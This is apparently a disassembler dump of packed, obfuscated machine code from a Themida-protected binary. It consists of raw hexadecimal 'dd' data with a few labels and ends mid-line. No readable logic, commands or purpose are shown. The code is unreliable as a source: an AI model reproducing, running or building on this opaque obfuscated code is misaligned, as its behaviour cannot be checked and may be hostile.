8A8D6ADCh, 24759D8Bh dd 95890614h, 6142F5Dh, 0F525050h, 6C6CBB31h, 585A4E36h dd 6A240489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 514BC352h, 81006AD2h, 0CDBF5DEFh dd 6A006A01h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 210CC352h, 0B5316042h, 6141D55h dd 1A7195FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 44A5CAC3h, 8D5526E3h, 17A8FC8Dh dd 0FF70B706h, 57006AD1h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0BA646298h, 7DA318C6h dd 0C7816F43h, 1251418Bh, 12CDBD83h, 0F010614h, 7385h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0AE4B8D3h, 75D5F781h, 0B5895436h, 6140835h dd 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0DDE4D1C3h, 0EE305AB3h, 119BBB66h, 509029CFh dd 0DE9h, 55430300h, 14984F24h, 31F11A9Bh, 0FF902404h dd 14093995h, 0F98B6606h, 0DD9E9h, 0E800h, 815D0000h, 187E8BEDh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0A7160F0Ah, 6E91AE8h, 90000000h, 81207C2h dd 74DB81E9h, 8D2360ECh, 17962385h, 25BD8B06h, 90061416h dd 504CBB66h, 0D85EBF50h, 6A903C6Ch, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0B96BC357h dd 4C1F769Ah, 0D9D233Eh, 6406140Bh, 35FFh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 48A7B6C3h, 868D2E1Fh, 25896441h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0C9C35747h dd 44DF7865h, 563153DDh, 0E102D4BFh, 6D85FF2Bh, 89061423h dd 141B51BDh, 6AFF6A06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 52B8C355h, 5BA5ABEBh dd 1141BD0Bh, 0B5FF0614h, 61406A5h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0FAC35040h, 1995FFD9h, 0E906142Bh dd 117h, 1109BD33h, 0B00614h, 10E9h, 0AA48EC00h, 933E2379h dd 6E764B01h, 9652051Eh, 8B70E6D2h, 142529BDh, 8971E406h dd 14039985h, 0F613C06h, 0E283h, 98C0F00h, 0F000000h, 38Fh dd 0FEBF0F00h, 0FC8B60Fh, 287h, 0BAFB8B00h, 6, 8B5AB3F8h dd 0C1FE8AC1h, 0F76604E8h, 0D9D8BE2h, 2B06140Ah, 0B59D8BC8h dd 8B061406h, 9DBD31D1h, 0E906140Fh, 0Ah, 61E4B560h, 2B6D9D29h dd 858B0614h, 6142A29h, 16F59D8Bh, 0C0830614h, 0D950107h dd 8306140Fh, 8D8900C0h, 614033Dh, 830FD03Bh, 0Ch, 65E9F5h dd 0BD290000h, 6142F0Dh, 1AC98D8Bh, 8B660614h, 0BD8B60FAh dd 6140CA5h, 15B678BBh, 0E1836120h, 40840F01h, 8B000000h dd 0C9A583FAh, 0FE06141Ah, 99B58B60h, 0F061425h, 282h dd 61FE8B00h, 2A299589h, 8B0F0614h, 6, 0A0D9D8Bh, 0BE90614h dd 10000000h, 68A1506Eh, 7BCE50B5h, 0E9AC6Bh, 8D000000h dd 17EE94B5h, 1BC7BF06h, 6A5B87h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 60C35343h, 405A6366h, 0BB27CEC4h dd 53E21416h, 30F99589h, 95FF0614h, 6141169h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 77C35747h, 20AEFBC5h dd 86646E9Ch, 96FB98Ah, 81660000h, 83BB86C3h, 6AFCE1h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 91DC40C3h, 802570E6h, 9529BCC0h, 6141A95h, 0FCDEBF0Fh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 63C35242h dd 0FE418F1h, 38Ch, 0D98B6600h, 30799D89h, 0C02B0614h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 5EC35040h dd 8CE6A55Ch, 0FFF68CFEh, 2B69BD89h, 0D22B0614h, 1A25BD89h dd 33AD0614h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 11E98EC3h dd 0AD000000h, 0E8610B39h, 26BB8444h, 974D01BDh, 1D15F54Fh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0DAC35747h dd 57DB0771h, 6066CF34h, 79BD0B4Fh, 66061430h, 33C8E781h dd 880Dh, 958BF900h, 6143229h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0C1C35040h, 0E8FA8B15h, 0Fh dd 0FFF91F09h, 65361803h, 9932B29Fh, 8116B9EFh, 17B2B1D7h dd 8D8B5B5Dh, 614064Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 42C35747h, 89F4B7A8h, 140781B5h, 0C28B5006h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 8B61C357h, 1403359Dh, 0BD83FC06h, 61429ADh, 6C840F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0B820C356h, 1EDE222Bh, 9D3353B5h dd 6140A49h, 0A71FBF5Bh, 0B802FEh, 8D000000h, 144D798Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0BD8B89BCh, 6143209h, 8E9E1FFh, 0C000000h dd 3CE1B55Bh, 83C22FE2h, 142671BDh, 840F0006h, 439h, 0BD9BD8Bh dd 6DBF0614h, 83298F1Fh, 142671BDh, 840F0106h, 43Ch, 83D8B70Fh dd 142671BDh, 860F0306h, 3F6h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 9BC35141h, 0B23A56A3h, 0DE9DFh dd 0EF840000h, 0B716DFBAh, 2FFF222h, 60FB2137h, 2A619D8Bh dd 0F3810614h, 331F529Bh, 6AD98C66h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0E8DC350h dd 6E880h, 14FC0000h, 0E044842Fh, 5A0CBF66h, 93C7805Bh dd 6604E180h, 0ABFE9BBh, 64840FC9h, 66000001h, 858BFA8Bh dd 6141969h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0A9C35141h, 6DB9A40Eh, 81985A8Bh, 0D4E195D7h, 0DBD8B6Dh dd 3306142Ah, 141B8185h, 9D8B5006h, 61421BDh, 6650905Bh dd 6A90D88Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 9FC2C355h, 50527A09h, 2C419D8Bh dd 895F0614h, 140055BDh, 6A006A06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0F25C357h dd 38Bh, 0E8CF8000h, 0D113F768h, 0EE99Ah, 0ACED0000h, 15DCA483h dd 6BEF5BFEh, 0BE9585A0h, 8240481h, 6A654DF0h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 0FB80C355h, 494FBBDBh, 0F0F7CA3h, 68Ah, 64D38100h, 8965FBF2h dd 1431A995h, 459D8906h, 0FF061408h, 1409AD95h, 81BD8B06h dd 89061405h, 17AA9885h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 58D0F37h, 66000000h, 0E1AECB81h dd 194E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 2B6499B9h, 8010A5DEh, 816622D7h dd 8BE0ADD7h, 17AA9085h, 0DB816606h, 0C72C38h, 18h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 19C35646h, 7B27D6C9h dd 880F4392h, 6, 8259589h, 8BF50614h, 17AA94B5h, 0F7816606h dd 858BFACAh, 6140B29h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 5FC35040h, 0FBBCE79Bh, 9DBD8BC7h, 8906141Ch dd 0EB816606h, 858B819Ah, 6141969h, 89044689h, 14042D9Dh dd 840F9606h, 0 dd 8890F50h, 0F000000h, 287h, 965B5300h, 34BD9D89h, 0B5FF0614h dd 617AA90h, 0C2F2EF81h, 32685F90h, 66F6F550h, 8183C1BFh dd 0B3CD2404h, 81660929h, 8DF381D7h, 17AA9885h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0C15ACAE6h, 2582DF06h, 14B1B531h, 0E8500614h, 10h, 8139130Ch dd 523E80C3h, 97AE0821h, 0F5D0F9B6h, 7E9h, 0B2B82100h dd 0FC9B0645h, 2404895Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0EDC35646h, 3830F2Eh, 66000000h, 95FFD98Bh dd 61409ADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 52C35747h, 0BD896190h, 61412EDh, 0C5EA12BFh, 7185C746h dd 3061426h, 0BF000000h, 2411652Fh, 6860Fh, 9D030000h dd 614319Dh, 0AA98BD83h, 0F000617h, 7184h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 8276C749h, 9E93C16h, 8000000h, 0E8D260Bh, 0F74A5380h dd 58E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 394F2B03h, 0DE7BF305h, 14E9F5h, 0AF010000h dd 4DE17498h, 735F9B77h, 33F81767h, 18E3B631h, 3050EA16h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 0A18D89C0h, 0E8061423h, 9, 0F2E33005h, 2F1D9AD6h, 14E937h dd 0FF150000h, 0C0EDB50Fh, 85A17723h, 6B829D9Ch, 0AE4CAF35h dd 605BFDB3h, 12D1958Bh, 83610614h, 142671BDh, 850F0306h dd 402h, 37DBB66h, 0AA98BD83h, 0F000617h, 3F184h, 0C18B6000h dd 0C299501h, 0FF610614h, 17AA98B5h, 2D9D8B06h, 0FF061408h dd 142AF595h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 172F7D17h, 9D8951F0h, 6140EA1h, 8CB58B5Fh dd 6A0617AAh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0CBA9C356h, 0D20702AFh, 0CD8589DEh dd 0C7061408h, 1000106h, 0B1BD8900h, 50061409h, 9E9h, 477A0C00h dd 896E7BE3h, 34892FF5h, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0E7971527h, 1D9D8B38h dd 0FF061415h, 17AA98B5h, 1D9D8B06h, 0FF061432h, 140B3195h dd 58C0F06h, 66000000h, 0A00BE381h, 0AA8CB58Bh, 6A0617h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 880F7DC3h, 6, 9F19D33h, 858B0614h, 61421D5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0D8C35545h, 730CBB7Ah dd 898BB702h, 140A7D95h, 0C4868906h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 576AC357h, 0F56502Dh, 958BF8B7h, 6143229h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 2FC35646h, 68286FF9h dd 835AB782h, 6A04C2h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 14E67DC3h, 85225059h, 0D88B929Fh dd 7E9h, 4F049200h, 0A307C978h, 6A205089h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 5FF9C357h dd 0CE9h, 0D509E000h, 0D451F573h, 85C07F17h, 3880FF5h dd 0F000000h, 858DDAB7h, 617BE06h, 1BDBD33h, 86890614h dd 0B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 0B7C35242h, 6AA5D88Eh, 0AAD96CBCh, 153DB501h, 6A0614h dd 0F2DB589h, 0B5FF0614h, 617AA98h, 3995FFF5h, 6A061409h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 2C42C350h, 0A8F3E4BFh, 50F88B96h, 10E8h dd 5BE0C900h, 7101F939h, 7FF3C99Ch, 828E018Ch, 0DE83Eh dd 72290000h, 9AA588C5h, 1B95900Ah, 57B72977h, 965F5B5Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0E1C35343h dd 18439874h, 0B8E0F76h, 0E9000000h, 6, 8C09B948h, 0B5FF9DEBh dd 617AA98h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 77C35141h, 1D00A178h, 0AEDBD8Bh, 95FF0614h, 61420F5h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0B0C35040h dd 0CE8C565Dh, 459D2BFFh, 8306140Ch, 140C21BDh, 840F0006h dd 15h, 2BBDBD89h, 0BB960614h, 213933F1h, 96FB8B50h, 4CE38166h dd 98B5FF7Bh, 0B0617AAh, 1410AD9Dh, 0B195FF06h, 6A061402h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 76A7C352h, 2AA04AA2h, 6658EFB2h, 0B5FFD98Bh dd 617AA98h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 63C35545h, 17C4A772h, 14A4A4BFh, 8195FF26h, 0E8061430h dd 13h, 82AC9664h, 0FF854224h, 80D8033Fh, 0A2FB393Dh, 2BB3C05Dh dd 1421B19Dh, 0BD835B06h, 61409F5h, 0B840F02h, 0FC000000h dd 2D01858Bh, 0C6F50614h, 85C70000h, 614244Dh, 0 dd 18A9B589h, 3AE90614h, 6AFFFFF3h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 6004C355h dd 0B5CF593Dh, 16258589h, 0C18B0614h, 0B9BD8Bh, 858D0614h dd 6140F99h, 1FC9BD8Bh, 0E8500614h, 6, 9A11AA50h, 8B66B05Eh dd 4895FDAh, 8E924h, 0B1440000h, 4C2658D2h, 6AD497h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0A9C35747h, 0D30AEFD4h dd 0B7995D45h, 8B006A7Fh, 1425859Dh, 0C5858D06h, 0BB06188Dh dd 5BC3C022h, 8B05C083h, 1425F5BDh, 66609006h, 5769BBBAh dd 8A0Fh, 615B0000h, 0BD339050h, 6141091h, 9529006Ah, 614200Dh dd 8589006Ah, 6142281h, 1A7195FFh, 0BD8B0614h, 6142185h dd 0A8FC8D8Dh, 6A0617h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 81069BC3h, 94316192h, 0D1FFA5DCh dd 8E9h, 0CA926000h, 8152DE4Eh, 0CDBD8326h, 1061412h, 7E850Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 7B6CF6C3h, 0D7F38061h, 0F50026Ah, 905BFBBFh dd 13E9h, 0F3DCDA00h, 6E136B20h, 45AD0091h, 0B0370BB7h dd 0F4CDF5F7h, 0AE950h, 0E63C0000h, 1BF32575h, 4B2013E5h dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0FDBF8C93h, 0FF27AAFDh, 14093995h, 0D4E38006h dd 0D69E9h db 0 byte_5919A9 db 0E8h, 2 dup(0) ; DATA XREF: Themida_:0054AE60o dd 815D0000h, 188DCFEDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 88082B2Eh, 8D43BF66h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 43C35747h dd 0E9630B73h, 6, 41678D49h, 858DADF8h, 6179623h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0F9C35747h, 219D8BABh dd 9006141Ah, 0FE9h, 0C6359000h, 0BE92941h, 0C1661E31h dd 0C091AE9Ah, 0FA8B6650h, 55006A90h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0BD8BFBBBh dd 6140C55h, 35FF64h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 403FC350h, 64C67673h dd 2589h, 0EB800000h, 0BD0B57EAh, 6142395h, 6D85FF5Bh dd 33061423h, 1403499Dh, 6AFF6A06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 2062C351h dd 0D8DF1CC0h, 619D8B5Ch, 0FF061408h, 1402E1B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0E02A5EB4h, 0EA84BB66h, 2B1995FFh, 0DFE90614h, 0B0000000h dd 0CD9D2900h, 0E6061418h, 0F9B70F70h, 0BE871E4h, 0DB000000h dd 6E25D64h, 0CD0E30BAh, 0C381B7FFh, 6BC942EAh, 0F613C5Fh dd 0B183h, 18BB6600h, 0C8B60F02h, 6BAh, 80C18B00h, 0E8C168C3h dd 58C0F04h, 0BF000000h, 23B8BE28h, 8BE2F766h, 142041BDh dd 31C82B06h, 1424E58Dh, 66D18B06h, 11E9FA8Bh, 31000000h dd 142429BDh, 958B6006h, 614109Dh, 61C38B66h, 6C1858Bh dd 8B660614h, 7C083DFh, 8900C083h, 1400B595h, 0FD03B06h dd 783h, 0E9FD8A00h, 42h, 0E2D8D8Bh, 0CB810614h, 61131BBAh dd 0F01E183h, 2D84h, 0E58D8900h, 8B061423h, 1408C5BDh dd 2DA58306h, 0FE06140Eh, 0F4CB8166h, 0C1958932h, 0F061406h dd 486h, 0B4BB6600h, 0E96Eh, 0B58D0000h, 617F9FFh, 0C006BF66h dd 0D7BF006Ah, 0FF09E893h, 14116995h, 0B9FE8A06h, 88Ah dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0DEC35646h dd 2746B000h, 8E941ABh, 0ED000000h, 0D804353Eh, 0F0DBF4Bh dd 0E183D8B7h, 0EDBD89FCh, 0FC061434h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 87C35646h, 0B9AF283Ch, 0D4CB8056h dd 0BE9h, 96CACA00h, 5825B8FAh, 0C14493D3h, 6AC02Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 4975B2C3h, 830FFC09h, 13h, 0BE8h, 0BC2AA200h, 436640ACh dd 6E66B54Eh, 2B5F5B52h, 0C233ADD2h, 0D003E8D1h, 7504E983h dd 57006AF4h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0BA36A7C4h, 5D606440h, 0DF96306h, 88h, 12E8h dd 0B7CB1100h, 160879C1h, 90CAF4DAh, 0A47804D5h, 5176E8F3h dd 0D2D78166h, 8B5F5F34h, 14322995h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 88AA21A4h dd 0EF816620h, 8D8B9FE4h, 614064Dh, 0FE9h, 1188B100h, 11BC0568h dd 0B3E12214h, 808BA33Eh, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 0B70F5818h, 0F9BF0FFFh, 29ADBD83h, 0F000614h dd 9584h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 85E7DA3Bh, 95CA4382h, 13E8CA0Dh dd 0DE000000h, 9A3DD322h, 48F0B132h, 135AAC4Eh, 9B96CD2Fh dd 0B85F11ACh, 0 dd 4D4BCDBBh, 798D8D33h, 0F06144Dh, 1485h, 0FE900h, 7A830000h dd 804D6034h, 76F86458h, 744B92Dh, 6AE1FF74h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0C162C351h, 0CA276FFEh, 1C5C541h, 207D9D8Bh, 0BD830614h dd 6142671h, 3F840F00h, 6A000004h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 7605C351h dd 71BD8370h, 1061426h, 42F840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 24DD07C3h dd 6FBF6657h, 71BD8381h, 3061426h, 3C9860Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0D49C86C3h, 5CE4CAB0h, 0E960A4ABh, 10h, 6CF4E4E2h, 0E0B90171h dd 0DD07536Bh, 5C375724h, 8BD98C66h, 140BD1BDh, 4E18006h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0CAC35040h dd 0C90AE3AAh, 198840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 8F8623C3h, 2957D983h dd 140D199Dh, 69858B06h, 6A061419h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 66CDC352h dd 6EAFE381h, 1B818533h, 6A0614h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 4E294CC3h, 0A51E0E83h dd 0FBF6650h, 240489F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 69C35343h, 0BFAE33FFh, 798590B0h, 9589006Ah dd 614198Dh, 4E8h, 1F03FF00h, 6E96000h, 29000000h, 2D186079h dd 0DE8DBh, 7980000h, 0B5CB7F48h, 0D7E21451h, 0E84F2183h dd 0Bh, 147985ECh, 0AF25198Ah, 5BC2B03Ch, 0F50615Bh, 68Ah dd 0BB665600h, 8B5B2D0Bh, 0E9042444h, 11h, 982313AEh, 66BF1E88h dd 0BED0E10h, 8F5ED315h, 50008B4Bh, 0A8B4BB52h, 310F0DFFh dd 6880Fh, 860F0000h, 0 dd 4489585Ah, 10E90424h, 0E8000000h, 88268C4Eh, 9E1DC3CCh dd 76AACFC8h, 58F6DCEFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 29C35545h, 2AB9BD8Bh, 95FF0614h, 61409ADh dd 31A59589h, 85890614h, 617AA98h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 1CC35040h, 129E9h, 66FA8B00h dd 858BDA8Bh, 617AA90h, 26619589h, 0C70614h, 18h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0F6C35646h, 94B58B54h dd 6A0617AAh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 3F13C355h, 89E5EAF7h, 1420D9BDh dd 29858B06h, 6006140Bh, 0ED5B589h, 8D010614h, 61402DDh dd 0B3068961h, 69858BBBh, 0F061419h, 10E8FFB7h, 3A000000h dd 20D1A785h, 0AE6B6D99h, 0C5AE8610h, 8B1538FCh, 46895FF9h dd 0D5B50104h, 50061420h, 89F98B66h, 10E82434h, 6A000000h dd 581D2D12h, 3C5D26DBh, 6C53225Eh, 8BDF6AC6h, 14081DBDh dd 0CB805F06h, 90B5FF01h, 0BF0617AAh, 29051AAAh, 23159D8Bh dd 4E680614h, 500C3FA8h, 29BF6652h, 0B3310FDBh, 81585A9Ch dd 0ABB12434h, 8D310C20h, 61412D1h, 0AA98858Dh, 0B5890617h dd 61403C5h, 0F525050h, 681h, 0F525000h, 0F585A31h, 3BBF6631h dd 89585A67h, 85892404h, 6142615h, 9AD95FFh, 60610614h dd 15FD9589h, 0C7610614h, 14267185h, 306h, 55006A00h db 0E8h, 3 word_5921B2 dw 0 ; DATA XREF: Themida_:0054B760o dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 7D19F2ACh, 0F0BF5831h, 98BD8396h, 617AAh, 5D840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 575803C3h, 40B9DF81h, 0E95B422Eh, 4Eh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 16h, 0A8C35141h, 8F0F39AFh dd 0Fh, 9E8h, 53575000h, 35AB9B73h, 505FA5EFh, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 39AC03C3h, 68E0FF4h, 81000000h, 69ADBFEFh, 56006A01h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 77C54B2Eh, 0CDFB92A3h, 13E853h, 187E0000h, 696939EBh dd 9B2838B9h, 7EA68CCEh, 38BCB610h, 0FE855h, 67FC0000h dd 0B614C5D6h, 0CC96C448h, 0FCB21931h, 5B5F5BFFh, 0BD83DE8Bh dd 6142671h, 0A8850F03h, 6A000003h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 51EAC357h dd 0AA98BD83h, 0F000617h, 37E84h, 0D9850100h, 0FF061423h dd 17AA98B5h, 5CBB6606h, 0F595FFCAh, 0E906142Ah, 12h, 62356433h dd 0DF11E99Fh, 796EEBA7h, 0E84B532Fh, 0B58B2D9Eh, 617AA8Ch dd 9E8h, 95B34600h, 6B19E8FCh, 0EE937DAh, 77000000h, 0DA37E577h dd 516A38DBh, 0FB4F9DE3h, 6C75FE8h, 10001h, 0C118D89h dd 0F500614h, 382h, 0DF8B6600h, 0E9243489h, 0Dh, 0A4C69E73h dd 44D31BF1h, 0EBA92081h, 98B5FF58h, 6A0617AAh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 665DC356h, 95FFF88Bh, 6140B31h, 305DBD8Bh, 0B58B0614h dd 617AA8Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 0D0C35040h, 0F152AE9Dh, 4E1E89F9h, 0D5858BAAh dd 81061421h, 0D236BCDFh, 89FC8A77h, 0C486h, 0DFBF0F00h dd 3229958Bh, 0B5090614h, 61423E1h, 0BB04C283h, 2F5E797Fh dd 0E9205089h, 12h, 63486B77h, 0AA1FA414h, 6DBAD566h, 0DD6BF4Eh dd 858DB20Dh, 617BE06h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0E8C35141h, 10E96CACh, 85BD890Bh, 89061416h dd 0B886h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 0BB3A4924h, 0CB81A4CCh, 0ADD3BD0h dd 0BF66006Ah, 0B5FF11DDh, 617AA98h, 93995FFh, 89500614h dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 9D23D6C3h, 6140C95h, 0AA98B5FFh, 6A0617h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 8B510BC3h, 141CA99Dh, 0F595FF06h, 0F061420h, 0F83h dd 9E800h, 0EBD80000h, 0D3AF8279h, 5FCC5898h, 0C21BD83h dd 0F000614h, 3484h, 96D98B00h, 56525050h, 0F5FDF8Bh, 5B575031h dd 96585A5Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 10C35141h, 9158C319h, 98B5FF4Ah, 6A0617AAh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 91E5C350h, 7178274Dh, 95FFEBD5h, 61402B1h, 0FF67DF80h dd 17AA98B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 515F89C8h, 89EE061Eh, 141A21BDh dd 8195FF06h, 0F061430h, 0BD83F9B7h, 61409F5h, 87840F02h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0D0BEC352h, 89578580h, 141FBD85h dd 858B5F06h, 6142D01h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0D7C35141h, 0C8AE73F8h, 4DBD8BFFh, 6006140Dh dd 15319529h, 8C0F0614h, 2, 0C661D98Bh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 6D98EEC3h, 85C7CD34h, 614244Dh, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 4BC35747h dd 0AE8h, 3EE50C00h, 0EE0B307Dh, 0E9672A0Fh, 8, 1184EAB4h dd 0D6E5742Ch, 6D85895Fh, 0E9061402h, 0FFFFF3E5h, 0E852006Ah dd 3, 